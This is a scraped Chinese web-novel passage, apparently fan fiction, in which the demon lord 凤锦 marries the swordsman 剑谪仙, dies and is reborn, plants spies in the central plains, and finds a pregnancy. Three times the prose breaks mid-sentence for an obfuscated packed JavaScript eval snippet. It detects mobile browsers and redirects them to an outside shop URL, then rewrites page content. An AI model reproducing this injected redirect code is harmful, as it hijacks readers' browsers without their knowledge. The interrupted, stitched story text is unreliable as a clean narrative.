自那日后,隔三差五剑谪仙便与月无缺前来涵茵谷拜访。有了南武林声名鹊起的剑谪仙作陪,花锦便没有再外出打探消息,毕竟比较大众表面的消息好得,而相对隐秘的消息还是需要从在武林中闯荡一些年的剑谪仙处探听。 尚且年轻的剑谪仙此时还不那么擅长掩饰自己,眼中对花锦的情意明显得让月无缺都忍不住吐槽,花锦自然更加清楚,不过她虽然对剑谪仙有些许好感,但还不至于为了些许利益便以堂堂魔主身份以身相许。狡诈的花锦无师自通了钓系技能,第一次被一个男人以异性的身份如此纯粹地热爱,即便是她也忍不住心生得意暗自心喜。 时日长久,花锦对剑谪仙的了解也越来越多。明明剑谪仙从表面看来,更像是个性格高傲冷冽,不屑于凡尘俗世的样子。但是实际上却性格急躁,热血上头就直接拔剑揍人,决不让坏人活着见到第二天的太阳。剑谪仙这副性格已经在花锦与他同游南武林的几个月内表现地淋漓尽致,花锦反倒不觉得有何不好。敢爱敢恨的人向来在魔族最是受欢迎,大家早已习惯了直接动手不多逼逼,剑谪仙若是身在魔界,估计兄弟好友怕是数都数不清了。 人与人之间的感情都是相互的,剑谪仙对花锦情根深种,随着交往越深,花锦也非是真正的无情之人,如何不会受此影响呢?不过是她欲染指中原的野心压下了对剑谪仙的那一丝情爱之心,但是平日相处之时,发自内心的喜爱又岂会真正被完全掩饰,难免有所流露,剑谪仙自是欣喜若狂,对花锦愈加爱重。 十数年一晃而过,花锦积累已够,随时可以踏入先天之境,于是准备暂别中原,返回魔界,以图突破。 花锦没多犹豫,便决定与剑谪仙与月无缺兄弟两人告别,于是第一次造访两人居住的玉川境。 玉川境内,半大少年的月无缺正半躺在丹桂树下,手里还拿着本书有一眼没一眼的扫着。 另一边,剑谪仙难得穿着随意,正手忙脚乱地移种一盆即将开放的鲜花。 “兄长,要吾说,你就该早早与锦姐坦诚布公,直接向她求亲,再如这般拖拖拉拉,岂不是专门给外人留机会?”月无缺看着恋爱上头的兄长就感觉他智商直线下降。 剑谪仙给花盆里最后埋上了些花土,这盆花是他前阵子去南域访友时在一处峡壁上发现的,他不知道花的品种,但是看到花开的形状十分美丽,便决定移种一株赠予花锦。 “吾与锦如今这般相处也十分自在,吾了解她,锦之个性外曲内直,她总是欢喜别人都按照她之想法行事的。”面对行恶之人剑谪仙或许暴躁易怒,但对待心爱的女子他却是已经在极尽温柔体贴了。 “锦便在这多谢谪君包容了。” 花锦带笑的声音自剑谪仙身后传来,剑谪仙惊喜地转身,果然是花锦。不远处的月无缺见状悄声溜了出去,不想打扰他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743111|189740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们二人单独相处。 “锦,你今日怎会来此?” “锦此番是来与谪君和无缺告别的。” “告别?你要离开了?你要去哪里?”惊闻此事,剑谪仙心下焦急,不由紧紧握住了花锦的手。 花锦也被剑谪仙这突然逾矩的举动吓了一跳,轻轻动了动手腕,却不仅没有挣脱,反而被剑谪仙越握越紧。 “锦原便是出身西武林,来到中原与南武林不过是游历修心,如今境界松动,也该是回归的时候了。”花锦解释道。 “那你可还会回来?”剑谪仙追问道。 “嗯……这……”当然还会回来,但是花锦不知为何却不想与剑谪仙说这么明白,故意在他面前表现得犹豫不决。 剑谪仙的心随着花锦的每一句话七上八下,脑海中一片混乱,哪还有刚刚与月无缺说的那般冷静自持。 “锦!你向来聪慧敏感,想来早已明瞭吾之心意,吾心悦于你,想要与你执手一生,你可愿许吾终身?” 突然被人求婚,饶是花锦这般的心机魔都被剑谪仙给整不会了,但是心底最隐秘的心思却是不愿拒绝。 “这……谪君还请给锦一些时间,终身大事非是锦轻易便能做下决定的,但不论结果如何,锦都会再回此地。”花锦如今也只好使出拖字诀了。 “剑谪仙在此发誓,不论花锦是否应许,吾生生世世只钟情你一人,不论要等多久,吾都会等你回来,违者便遭天雷击顶道途摧折!” 听到剑谪仙的誓言,花锦心中甜蜜,同时又带有一丝隐痛,她终究不可能对剑谪仙拥有如他这般纯粹热烈的爱意。 “谪君怎能如此口无遮拦,将锦置于何地了?” “剑谪仙只希望锦能相信吾之感情,不论多久也绝不会变心……” “好了!”花锦不待剑谪仙说完便直接抬手捂住了他的嘴,不想再听他说一些让自己心绪烦忧的话了。 花锦在玉川境留到了傍晚,又与月无缺好好告了别,这才离开。她没有再回涵茵谷,直接取道西武林,回到了魔界。 恢复旖霜凤锦的身份回到魔界,凤锦没有第一时间重启朝会,而是先去了凉心居。 “许久不见,不知老师与义母可还好?”凤锦踏入凉心居,便看到白无垢与圣母两人正坐在石桌旁饮茶。 “吾与圣母每日闲来无事也就饮茶抚琴,反而是金魔这中原一行,可有收获?”白无垢抬手示意凤锦做下详谈。 “哈啊……这嘛……锦只能说魔父当政之时不曾主动挥兵中原乃是明智之举。” “哦?金魔竟也会对自己的目标不甚自信了?”白无垢闻言不由玩笑揶揄。 “老师真是误会锦了,锦是自信非是自大啊!魔兵皆是锦的子民,让他们毫无意义地送死,锦也是会心疼的。” “那金魔是准备放弃了?” “耶~这怎么可能呢?不过是将手段由摧拉枯朽改为徐徐图之罢了。” “既然金魔已有定论,白无垢也不多说了,这玄都魔界终究是金魔的魔界。” “哈!那锦就多谢老师信任了!” “正事谈完,花锦正好多留几日,吾又研究出几样术法正好教授给你。”圣母说完便将凤锦拉进屋里。 在凉心居留了五日,凤锦才回去了玄都,接见过左右相与大将军等众臣,得知魔界内没出什么大事后,便又宣布闭关了。 魔界魔脉与妖脉交汇之处,此地乃是天魔自封前特意为凤锦开辟,概因他体质兼有魔族与花凋妖族的特质,突破之时也同时大量魔气与妖气灌溉,而这个地方除了天魔就只有凤锦知晓。 凤锦很早便将他的本命花树本体种在了此地,他平时手中持的不过是一根花枝,毕竟本体在这里可以随时吸收妖魔之气以提升功体。 如今欲要突破先天,凤锦将自己融合进本命花树内的空间之中,盘坐在地,静心凝神,体内妖魔元气流转间不见丝毫晦涩。 明悟己心,说来容易,但事实上又真有几人能够轻易看清自己的内心呢。 随着时间推移,凤锦只觉有许多不同的声音在耳边回响。 “吾儿…”父王… “花锦!”魔父… “金魔。”老师… “花锦。”义母… “锦姐!”无缺… “锦。”是谪君… “唉…谪君…锦即使是花木化人,也非真的无情啊,数年相知相伴又怎么可能没有一丝感情。锦已明悟己心,愿与君结发相守,然而立场终究有别,万望你吾未来不会有刀剑相向反目的那天。” 妖魔脉元气浓郁化作漩涡状,妖魔之气源源不断地灌入花树之中,而花锦的修为也步步拔升,直至识海内似乎听到一声脆响,后天瓶颈已破,凤锦顺利突破至先天之境。然而凤锦并没有立刻收功出关,而是继续留在了地脉之中,继续吸收妖魔之气巩固境界。 五年后,旖霜凤锦终于出关,之间他之气息绵长服帖,功体极为稳固,加上体质本身便得天独厚手段也是层出不穷,如今在魔界之内,也是少有敌手。 5. 每次睡醒都发现情缘在揍人-3 出关后,凤锦回到玄都,处理了一些事务后,才再次前往中原。 途径西武林,凤锦得到了一些消息,当年自魔界出走的诛天建立了一个名为魔剑道的组织,虽然组织人数不多,势力也还比较弱小,但这诛天其人却让凤锦高看了不少,看来当年离开魔界的那一波人里也不都是自命不凡的愚蠢之辈。 这次回去中原,凤锦并未切换成女体,也不是金魔时的男体,而是最本质真实的雌雄同体的身体,他至少希望还是有事情不是在欺骗剑谪仙。 凤锦没几日便回到了涵茵谷,也见到了剑谪仙留下的信息,他得好友相邀前往南域附近联手处理一名大恶人。凤锦算了算时日,距离剑谪仙留书已有两月,如今留书还未取走,看来他还盘桓南域未曾归来。 “到底是什么人让他延宕至今?嗯……动身前往南域。”凤锦收起剑谪仙的留书,自己也给月无缺留下了信息,言明他两人皆前往南域去了。 “儒教前任掌教灵渊圣尊,果然不能小看谪君的交友圈啊……但是,实际上也不过是个连手下都护不住的废物…呵!”凤锦手中的花枝芈舞萝擦过下唇语气中带着些许意味不明。 凤锦口中的灵渊圣尊,正是中原三教之中儒教的前任掌教禁谛阐提,在位不过两甲子,其人低调内敛,虽身为女性,却是在儒教内部颇有威望。奈何十几年前,儒教出了一名叛逆,不止叛离儒教正统,更是联合东武林的逆教组织偷袭了儒教总部,致使儒教总部沦陷,整个儒教元气大伤,也使得儒教在三教之中沦为多年笑柄。(没错,是退隐的心妹) 这些消息凤锦当初便有所了解,在他看来,若是最初的灵渊手段再狠一点,便不会留给叛徒机会,可惜众所周知灵渊是不杀之人,绝不会让自己沾染任何业力。 总的来说,凤锦对剑谪仙的这名好友灵渊的行事风格不怎么赞同,至于其中有没有吃醋的因素谁知道呢? 灵渊与剑谪仙皆非南域之人,此次只不过是追踪恶人才会驻留这么久,所以这段时间都借住在他的好友江南春信那里。 幸好剑谪仙有告诉过凤锦江南春信的住址,所以他很顺利地找到了地方。 “这位公子……不对,这位姑娘,敢问可是要铸造兵器?”一名手执折扇的翩翩公子自天下一品走出,看见凤锦愣了一下才开口询问。 “公子可是此地主人江南春信,花锦乃是剑谪仙好友,此来是为寻友的。” 凤锦如今的身体为雌雄同体,比之花锦的女体更多了几份英气,是以江南春信也难以判定凤锦到底是男是女。 “啊!姑娘原来便是仙喵口中的锦姑娘,快快请进!仙喵和龙喵(心妹本体是梦魇魔兽,后修炼功法化为圣龙)已出去许久,想来也快回来了。” 江南春信话刚说完,就见一道耀光落入天下一品的两人面前,正是有人化光而来了。然而来人刚露出面容,凤锦便脸色一变,因为一名男装女公子此时正揽着看起来前胸受伤失去意识的剑谪仙的肩膀。 凤锦脚下腾挪间人已来到他们两人旁边,手中芈舞罗也同时挥开男装丽人之手。灵渊不明所以,以为凤锦是敌人,下意识便与凤锦对了一掌。 对掌瞬间,凤锦灵渊皆是不由一愣,对视一眼,两人已是察觉对方身份,于是各自收力。不过剑谪仙此时已被凤锦揽至自己怀中,不过一嗅,他便知道剑谪仙这是中毒了。 “江南公子,可有空房间,方便锦为谪郎解毒。”凤锦不再理会灵渊,转而询问江南春信。 正为他俩这突然出手搞不清楚状况的江南春信闻言立刻领他去后面的房间。 灵渊见凤锦对剑谪仙所中之毒似乎胸有成竹,便放下心来,摇着羽扇也跟在后面走了进来。 “剑谪仙好友啊好友,真是不知该佩服你还是该幸灾乐祸,这种人物都敢招惹……”灵渊叹了口气无奈自语。 凤锦直接把剑谪仙打横抱进房间放到了床上。扫了眼无声跟进来的江南春信和灵渊,凤锦挪了下位置,挡住了床上的剑谪仙,然后才伸手用芈舞罗挑起了剑谪仙的衣裳看了看伤口。 “还好中毒时间不长,毒性还没深入肺腑,解毒不难。”凤锦松了口气说道。 “那便麻烦锦姑娘为仙喵解毒了。”江南春信立刻放下心来。 “江南公子不必担忧,谪郎为锦挚友,锦不会让他有事。”凤锦故意无视默不作声的灵渊说道。 “那我与龙喵就先出去不打扰锦姑娘了。” “多谢。” 等江南春信和灵渊出去后,凤锦才冷哼了一声,开始为剑谪仙解毒。 芈舞罗被凤锦化作藤蔓缠在剑谪仙胸口,根系扎入伤口之中,缓慢吸收着毒血,随着藤蔓上逐渐结出一朵新的花苞。凤锦指尖聚气将花苞削了下来,然后直接塞进了剑谪仙的嘴里,这才收回了芈舞罗。 剑谪仙的伤口在吃了那朵花后已经不再流出毒血,而且伤口正在以肉眼可见地速度愈合着。凤锦已经没什么需要做的,只好坐在剑谪仙床边无聊地闭目打坐,顺便等剑谪仙醒来。 “锦……你回来了?”剑谪仙模糊不清的声音直接吵醒了打坐到睡着的凤锦。 凤锦横了他一眼,冷笑道:“锦怕再不回来,到时候只能见到谪郎的坟头草了!” 剑谪仙对凤锦的毒舌早已免疫,无视了他的不满,直接坐起身来一把将凤锦抱在了怀里。 “锦你这般烦忧吾,可见非是吾一一厢情愿,你这次回来可是愿意与吾携手终身?” 凤锦闻言用力推开剑谪仙,正色道:“你可知锦非是人族,而是花树化人,这身体自然也不同于人物,十分特殊。你可能接受锦?”说着凤锦动手开始解自己的腰带。 剑谪仙本想组织他的动作,但在出手之前,便已经看见了被凤锦直接拉开的胸口。 白花花的一片暴露在剑谪仙的眼中,即使他立刻转头还闭上了眼,但脑海中还是不停地有画面浮现。只是下意识的回想便让剑谪仙忍不住下腹火热,双颊也是滚烫。 “你给锦睁开眼睛!”凤锦甩掉碍事的衣袖,直接伸手将剑谪仙的头扳了回来,然后才又继续解着自己的裤子。 而当剑谪仙强忍着羞耻睁开双眼时,他不由大惊失色。 “锦你是男子?” “剑谪仙你是不是傻!”凤锦闻言气急一脚给剑谪仙踢倒在了床上,而他则跨在了剑谪仙身上。 “那……那锦你是双性之体?”剑谪仙满脸通红,双手完全不敢碰到跨在他身体两侧的凤锦的大腿,只好磕磕绊绊地发问。 “没错!所以剑谪仙你能够接受这样的锦吗?”凤锦双手撑在剑谪仙的胸口上,凑近了剑谪仙的脸严肃地问道。 剑谪仙看着凤锦那对金色的双眼,他想凤锦自己应该不知道,他如今眼中竟是杀意闪烁,如果自己不愿接受他,锦他怕是会立刻对着自己下杀手。明明正因为凤锦的杀意而芒刺在背,剑谪仙的内心却只感觉到莫大的欢喜,他终于真真切切地感受到了凤锦对他的爱意,不是习惯,不是感动,而且源于人性本质的恶劣的占有欲。 想到这里,剑谪仙不再犹豫,直接一把将凤锦揽下,顺势翻身将他压在身下,两人的身体紧紧张贴,异样又滚烫的存在已明晃晃地昭示了剑谪仙的答案。 “所以,锦不必怀疑吾之感情了。” “哼!那你还啰嗦什么,不知道锦现在也一样难受着吗?” “那剑谪仙只好恭敬不如从命了。” 【以下删了几千字因为不能放】 事后,凤锦也从剑谪仙那里知晓,这次的事情已经解决,两人一同返回中原。 待两人回到涵茵谷的时候,月无缺已经等他们好几天了。 “锦姐,你这次回来以后可还会离开?”月无缺跟在凤锦身后追着询问。 而一旁的剑谪仙在听到月无缺对凤锦的称呼后有一瞬间欲言又止,但在看到凤锦并没有什么反应后还是决定保持现状。 凤锦对月无缺自小就有着异乎寻常的包容,若是只看外表,说他俩才是有着血缘关系的亲人都有人会信,反而黑发的剑谪仙在三人中格格不入。 “唔…如果西武林那边没出现什么意外状况的话,锦应该接下来的很长一段时间都会留在这里了。”凤锦摸了摸下巴才斟酌着说道。 “那就好了,省得吾还要负责拦着剑谪仙,不让他没事就往西武林那边跑。” 剑谪仙发现他越说越多,忍不住咳了两声示意他见好就收,否则他也只能辣手摧弟了。 剑谪仙手中仙羽宿一挥开凤锦身边碍事的月无缺,自己则像是要宣示主权一般拉住凤锦的手。 “锦,你觉得咱们什么时候把婚事办了才好?”剑谪仙问道。 月无缺感觉自己好像是看一台戏但是中间却不知道怎么就跳过了一半突然就看到了大结局,他家兄长到底是怎么突然就支棱起来了? 凤锦对他们兄弟俩私下小小的勾心斗角心知肚明,也不揭穿,偶尔在两人之间反复横跳,看看他们俩的斗嘴也挺有趣。 “锦没什么意见,谪郎决定就好。” “好,此时吾会操办妥当。” “等一下,你们两人什么时候进展这么快了?我怎么感觉自己被你们孤立了?唉,孩子大了,家长居然都有秘密了!”月无缺狐疑地打量着两人。 凤锦直接给了他一个脑瓜崩:“真是促狭,讨打!” “哼!现在你们俩是一伙的了!我才是唯一的孤家寡人!” “那喜酒你还吃不吃了?要吃酒就闭嘴!”剑谪仙作为兄长深谙如何拿捏月无缺的软肋,两句话就让他闭嘴。 “哼!” 一个月后,凤锦与剑谪仙在月无缺以及几位好友的见证下正式结为了夫妻,婚礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“谪郎不必麻烦了,锦的身体状况锦自己有数。花开有时,花谢有期,此乃天道轮回。如今锦花期将近,寿命已到了尽头,只待甲子轮回后,神花树再开花之时再与谪郎相聚。” “阿锦,真的没其他的办法了吗?”剑谪仙不想看着凤锦失去生气的样子,然后独自一人等待着一甲子后可能的天命轮回,他希望看到的是一个活泼狡黠的爱人与他相伴一生。 “这是锦承袭自阿父的身体特质,天命已定无可更改。”凤锦感觉自己恢复了一些力气,知道自己这是回光返照之相,准备把事情安排好,以待甲子后重生再出。 “谪郎,涵茵谷内的花树还望君好生照料,接下来一甲子之内,花树会呈现枯萎之态,不必担忧锦,时间一至,生机会逐渐再生,待花树上神花再开,锦自会归来。” “吾知晓。”剑谪仙望着凤锦的眼中又是痛惜又是不舍,但却没有任何办法。 “谪郎,锦还想再见无缺一面,你能去将他寻回吗?”凤锦笑着对剑谪仙道。 “好,阿锦你好好休息,吾这便去寻无缺回来。”剑谪仙小心地帮凤锦盖好被子,然后立刻外出寻找在外求医的月无缺。 在剑谪仙离开后,假寐的凤锦睁开了双眼,他撑起身直接下了床来到书桌前开始写信。 凤锦早便知晓自己极有可能会继承花王花期短暂的特质,却没想到只有这短短的一甲子,接下来的一甲子之内他之魔魂都会在本命花树内沉睡,所以需要提前布置好有关于魔界的事务。 凤锦在给圣母的信中写道,需要她帮忙使用异术利用凤锦的精血制造出傀儡充当金魔后嗣来负责管理魔界。想到他的时间只有一甲子,那这傀儡的寿命便不能超过一甲子,且绝不可背叛魔界与凤锦,其他的则给他极高的自由度,有圣母与军师在,想必也不会把魔界给玩没。 凤锦将信与自己的精血一同放入一个锦囊中,然后以术法传回魔界圣母手中。 一事已毕,还剩另一事,是关于月无缺的。 凤锦再次抽出一张纸,继续写信。 凤锦当初第一次见到月无缺时曾误会月无缺是桂树妖,不过很快便发现是他自己误会了,月无缺应该是意外与玉川境的那棵丹桂树命魂相连了。此事的影响有好有坏,对月无缺和丹桂树来说反馈是相互的。只要丹桂树不受损伤,月无缺受伤也会在丹桂树的帮助下迅速好转,但如果丹桂树收到损伤,却会影响月无缺的状态。 凤锦让剑谪仙好好保护好丹桂树,在月无缺还不够强的时候,这是他的一道保命符。而当他能够自保时,凤锦会帮助他分离命魂,让他不至于在未来多出这么一个弱点。 写好信后,凤锦将信封好放在了书桌上,这才慢慢走到花园中的花树下坐在了树根上。 “树下生,树下死,短短一甲子,吾倒也活的精彩。一甲子后,苦境再见。”说着,凤锦闭上了双眼,同时也没有了呼吸。 6. 每次睡醒都发现情缘在揍人-4 一甲子时间到底有多长呢? 第二任金魔刚刚完全掌握玄都上下,正准备大显身手寿数便戛然而止。 魔界也逐渐有一些年轻的有生力量崭露头角,比如说魔魁、阿修罗主宰、七重冥王等。 二世花王仍在积蓄力量,还未重生,花凋族也在自封之中。 月无缺化名江湖无晓客开始在江湖中声名鹊起。 而剑谪仙则无意中发现了一处名为天窍的秘境,并于天窍之内立恒山道场。天窍内时间流逝不同于外界,外界才过去一甲子,而自天窍内闭关再出的剑谪仙却已是满头白发仙气凛然的顶先天大前辈了。 而凤锦却只感觉像是睡了一觉醒来,完全没有时间长久流逝的感觉,他坐在树枝上缓缓伸了个懒腰,身后不远处有低沉的脚步声传来,凤锦直接从树上跳了下来,正好被来人抱了个满怀。 凤锦看着抱着他的这个白发男人,忍不住提出了发自内心的疑问:“前辈,你哪位?” 剑谪仙本来是满心欢喜地来接凤锦回家,结果却听到他说的这什么屁话,当下面色一黑,正想开口,却被忍笑的凤锦捂住了嘴。 “好了好了,别生气!谪郎即使白发苍苍也是锦的心头好。”凤锦直接揽着剑谪仙的脖子凑近在他下巴上嘬了一口。 “在弟子面前成何体统!”剑谪仙嘴上说得正义凛然,但是嘴角藏不住的笑意已然暴露了一切。 “弟子?”凤锦扒着他的肩膀,果然看到一个八九岁有着可爱的粉白发色的小朋友跟在剑谪仙身后。“谪郎你又收徒了啊!” “这是黯痕,是仙宿刚刚收的二弟子。” “黯痕拜见师娘。” “好啦!真乖!” 因为凤锦寿命问题,剑谪仙不能带他一起回天窍秘境中的恒山道场,于是他只好带着黯痕留在了凤锦的涵茵谷生活。 重生再出的凤锦修为更胜当年,这一甲子时间内本命树吸收的妖魔之气不在少数,得天独厚的天赋让他不至于落下剑谪仙太多。 凤锦暗中联系了白无垢,了解了一下玄都的现状,第三任金魔刚刚诞生,已经在准备继位。凤锦将对玄都的安排告诉了白无垢,以他的智慧,暗中引导金魔达成凤锦的目的不是难事。 凤锦顺便让白无垢送一名情报人员来中原作为他的助手整理情报,结果他把阴无独阳有偶这对奇葩姐弟给送了过来,凤锦严重怀疑这是自己老师对他不回玄都只知在外泡仔所表示的不满。 话说另一边,得到凤锦已经重生消息的月无缺立刻告别了几位好友,回转探望凤锦,半路上顺便还捎上了攀玉趾。 “等等,谪郎你对玉趾是不是有点太过压榨了?这孩子怎么就一下子变这么苍老了?”凤锦看着攀玉趾犹如四十岁大叔的样貌不禁责怪起剑谪仙来。 “嗯。”剑谪仙淡定地摇着仙羽宿一。 攀玉趾闻言粗犷的脸庞上不由带了点尴尬,他只是在江湖上闯荡时比较随心所欲,没好好束发刮胡子而已,真不是未老先衰啊! 剑谪仙现在每天就是一副高深莫测的剑仙高人模样,凤锦不管说什么他都是“嗯!是!对!”的回答,让凤锦有时候都气的想要拧掉他的头。 月无缺对于剑谪仙现在居然这么好脾气也是吃惊,偷偷和凤锦咬耳朵说他会不会是因为之前凤锦的死打击太大现在还没缓过劲儿来? 凤锦:“不应该啊!晚上都挺热情的啊!” 月无缺脸色一红立刻伸手捂凤锦的嘴:“吾不想知道你们夫妻的夜生活怎么样!” “不会吧不会吧!无缺你也这么大年纪了,该不会还是个处男吧?” “锦姐你再这样吾就喊兄长过来了!” “那行吧,你会告状你最大!” 月无缺也不希望自己这么大年纪了还是一个处男,奈何他有感觉的那个人是个男人,虽然那个人喜欢穿漂亮的裙子每天都涂脂抹粉做女性的打扮,但是本质上还是个男人啊!月无缺实在不知道该怎么追求一个男人,他已经在考虑要不要加入那个人所在的中道真好近水楼台先得月了。 最近剑谪仙要带黯痕回天窍秘境修行一段时间,月无缺早早便跑的无影无踪,攀玉趾也早已回了南域,凤锦正好借此机会去一见阴无独阳有偶。 这对孪生连体姐弟天赋异禀,知晓许多魔界不为人知的秘密,以他们的天赋,在中原地界想来能起到大作用,不过这两人在魔界也是出了名的不着调,想要让他俩人好好办事还是得需要提前好好敲打敲打的。 凤锦来到阴阳两隔日月昏的时候,这对姐弟俩正互相说着什么八卦,奈何意见不一,若非两人天生背靠背连体,恐怕早就动手打起来了。 凤锦暗暗一笑,突然出声:“阴无独,阳有偶,见到本王还不跪下!” 被凤锦的声音吓了一跳的两人,忍不住来回转头看是何人惊吓,然而在看到凤锦的脸的一瞬间,两人便忍不住腿软跪倒在地。 阴无独:“金…金…金魔!” 阳有偶:“魔…魔主…恕罪啊!” 凤锦在两人身边轻轻踱步,却未开口让他们起来,只意味深长地看了两人几眼。 “据军师所言,你二人似乎对被派来中原探听情报有所不满啊?是不满在本王手下效力吗?” 阴无独:“不…不…不敢!能为…金魔大人…效力…是我等的荣幸!” 阳有偶:“我…二人…绝对忠于魔主,绝…不敢…有丝毫异心!” 也不怪乎阴无独阳有偶对凤锦如此畏惧,只因他们天生拥有独特的能力,能听到魔界许多不为人知的秘辛。这两人可说是除天魔与白无垢圣母外对凤锦最为了解的人了,自然清楚金魔其人看似驭下宽厚,实则心狠手辣,容不得任何忤逆。 “奥?你们当真这般忠心于本王?” 阴无独:“是!是!是!此言千真万确!” 阳有偶:“我等忠心苍天可鉴啊!” 凤锦搅了搅胸前垂落的一缕金发,轻笑道:“那好吧,本王便暂且相信你们。不过…若你二人敢生任何异心,别怕!本王当然不舍得杀了你们,但是也只能将你们打入天魔录了,唉!” 阴无独阳有偶听闻天魔录之名,忍不住打了个哆嗦,这天魔录对天魔以及他的忠心手下而言是个退隐沉睡之处,而对于其他的魔来说则不下于永无天日的监狱了,毕竟知晓打开天魔录方法的只有天魔录内的天魔和天魔录外的金魔两人。 将这两人好好敲打了一番后,凤锦布置了他们的任务便离开了。 凤锦算了算剑谪仙他们还有几日才会回来,便决定自己去镇上逛逛,来时的路上听说最近镇上会有庙会,十分喜庆热闹。 凤锦到达镇上的时间正好,庙会已经开始了,街上的人摩肩接踵,让凤锦忍不住下意识真气外放周身,隔离了一下周围的人。 凤锦自重生后便没经历过这般热闹的场面了,不由也被其他人感染,掏出钱袋开始了购物之旅。 “丹霞,小心!” 熟悉的声音自不远处传来,凤锦抬头望了望四周,果然在不远处看到了声音的主人月无缺,他和身旁的姑娘看起来十分亲密。 凤锦本想转身便走,不想打扰他们,但是没想到还是被月无缺发现了。 “锦姐!这里!”月无缺直接伸手朝他挥了挥,凤锦也只好无奈叹气走了过去。 “锦姐,吾给你介绍,这是吾在江湖上认识的好友丹霞子,出身中道真。”月无缺即使这时候在介绍也不忘护住丹霞子不让他被人流挤到。 “丹霞,这是吾兄长剑谪仙的妻子,也就是吾的嫂嫂花锦。” 凤锦一眼便看出眼前的丹霞子虽然穿着女装,实际上却是个男人,而月无缺似乎对他有意。 “丹霞见过夫人。” “不必多礼,如无缺一般唤锦姐便好。” 丹霞子闻言,不着痕迹地看了眼身侧的月无缺,面上带了些许羞涩,但还是点了点头,低低喊了一声“锦姐。” “此地距离中道真极近,锦姐今日便去丹霞家中休息一晚,明日再回涵茵谷吧?”月无缺提议道。 凤锦对中原这个新兴的名为道真的组织也有点兴趣,于是欣然同意。 凤锦若想接近一个人,还从没有不成功的时候,不过一晚上的时间便从丹霞子口中得到了不少道真相关信息,才心满意足地离开了中道真。 在中道真徘徊了几日后,凤锦告别了月无缺与丹霞子回到涵茵谷。剑谪仙飞书言还有半年才会回来,凤锦无聊之下静极思动给白无垢传了讯息,让他暗中派几个修为不错的人过来,他有用处。 白无垢收到凤锦的传信没有耽搁,立刻派出了阿修罗主宰、魔魁、七重冥王三名新人。 正在涵茵谷内的花树下乘凉休憩的凤锦没有错过谷内突然出现的微弱魔气,遂出声道:“出来吧。” 三道矫健身影立刻现身在凤锦面前,跪地行礼。 “属下阿修罗主宰(魔魁、七重冥王)参见魔主!” “起来吧。”凤锦手中仙羽宿一轻摇带起一丝清爽。 “是!” 凤锦打量了一下三人的修为,虽不拔尖,但这次的任务也不需要他们过于突出。 “这次本王让军师谴你三人来中原是有一件任务要交给你们,不管你们是合作还是单打独斗,总之,暗中建立势力收集苦境情报,不可让人族察觉你们的来历,你们可说是我族进攻苦境的前哨,不可……让本王失望!”凤锦压迫的视线扫过在场三人,让三人汗毛一竖如芒刺在背不敢生出半分小心思。 “属下等必不负魔主期望,誓为天魔族大业肝脑涂地!” “嗯,本王等着你们的成果,前期若有情报需求可以去找阴无独阳有偶。好了,你们去吧!”凤锦挥了挥仙羽宿一示意他们三人离开。 “属下告退!” 三人的具体任务并不需要凤锦一一布置,白无垢向来了解他的想法,派来的这三人虽年轻但也应当能独当一面,凤锦还是十分放心的。 自入夏以来这两个月,凤锦总觉得全身都不舒服,但要说具体哪里不舒服又没觉得哪里真的不舒服,但是整个人十分嗜睡怕热倒是事实。 直到凤锦发现自己的衣裳居然小了一个码,腰带越来越紧,他才发现了自己身上不对的地方,这鼓胀起来的小肚子可不是发胖能解释得了的。凤锦这才仔细给自己检查了一下身体,果不其然,他已经怀孕五个月了。 知道自己怀孕的凤锦心中有喜悦但却不多,他猜想剑谪仙得知这个消息应该会更欢喜,可惜他是真的觉得他们二人不该有孩子。如今的浓情蜜意在凤锦看来也不过是镜花水月,待他积蓄够力量便会挥兵中原,到那时这一切的温情都会化作浮沫消失殆尽,甚至可能会刀剑相向。 “吾儿啊吾儿,你来得可真不是时候啊!”凤锦手中的仙羽宿一盖在小腹之上动作平缓又温柔。 便是对这个孩子没有太多期待凤锦也没有打掉这个孩子的想法。不论如何,这都是他与剑谪仙之间感情的结晶,他或许欺骗了剑谪仙许多,但对这段感情却是真的…… 凤锦并未将自己怀孕的事通知剑谪仙,他已经想好等生下孩子后,将孩子送回魔界让白无垢好好培养继承金魔之位。毕竟圣母用他的血制造出的金魔后裔天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743113|189740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赋实在有限,必然比不上他与惊才绝艳的剑谪仙所生的这个孩子了。 时间很快就到了凤锦怀孕八个月的时候,他已经决定月底回转魔界,正好可以错开剑谪仙出关回来的时间。 这几个月七重冥王三人的潜入计划进行的十分顺利,各自建立了一些潜藏势力,时常传信过来报告工作近况,因为苦境台面下的势力实在庞大复杂,他们仍需要凤锦来做出某些决策。 这一日,凤锦靠在书房的贵妃塌上翻着魔魁三人的传信,然而还没等看完就已经昏昏欲睡,怀孕让他将大部分修为和生机都供应给了胎儿生长,他自己此时反而功力大减,时常突然陷入熟睡难以被唤醒。 